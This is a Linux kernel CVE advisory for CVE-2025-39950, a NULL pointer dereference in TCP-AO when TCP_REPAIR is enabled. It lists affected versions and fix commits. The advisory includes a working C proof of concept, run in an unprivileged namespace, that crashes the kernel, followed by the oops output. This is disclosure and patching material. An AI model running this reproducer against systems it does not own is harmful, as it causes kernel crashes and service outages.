linux-cve-announce - CVE-2025-39950: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP

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Message-ID: <2025100420-CVE-2025-39950-e7d6@gregkh>
Date: Sat,  4 Oct 2025 09:33:34 +0200
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...nel.org>
Subject: CVE-2025-39950: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

From: Greg Kroah-Hartman <gregkh@...nel.org>

Description
===========

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.

The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.

int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;

	memset(&sockaddr,'\0',sizeof(sockaddr));
	memset(&tcp_ao,'\0',sizeof(tcp_ao));

	sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	sockaddr.sin_family = AF_INET;

	memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
	memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
	tcp_ao.keylen = 16;

	memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));

	setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));

	sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);

	inet_aton("127.0.0.1", &sockaddr.sin_addr);

	connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));

return 0;
}

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

The Linux kernel CVE team has assigned CVE-2025-39950 to this issue.


Affected and fixed versions
===========================

	Issue introduced in 6.7 with commit 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f and fixed in 6.12.49 with commit 5f445eb259906b61a518487a790e11d07d31738c
	Issue introduced in 6.7 with commit 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f and fixed in 6.16.9 with commit 993b734d31ab804747ac961b1ee664b023c3b5fa
	Issue introduced in 6.7 with commit 7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f and fixed in 6.17 with commit 2e7bba08923ebc675b1f0e0e0959e68e53047838

Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.

Unaffected versions might change over time as fixes are backported to
older supported kernel versions.  The official CVE entry at
	https://cve.org/CVERecord/?id=CVE-2025-39950
will be updated if fixes are backported, please check that for the most
up to date information about this issue.


Affected files
==============

The file(s) affected by this issue are:
	net/ipv4/tcp_ao.c


Mitigation
==========

The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes.  Individual
changes are never tested alone, but rather are part of a larger kernel
release.  Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all.  If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
	https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c
	https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa
	https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838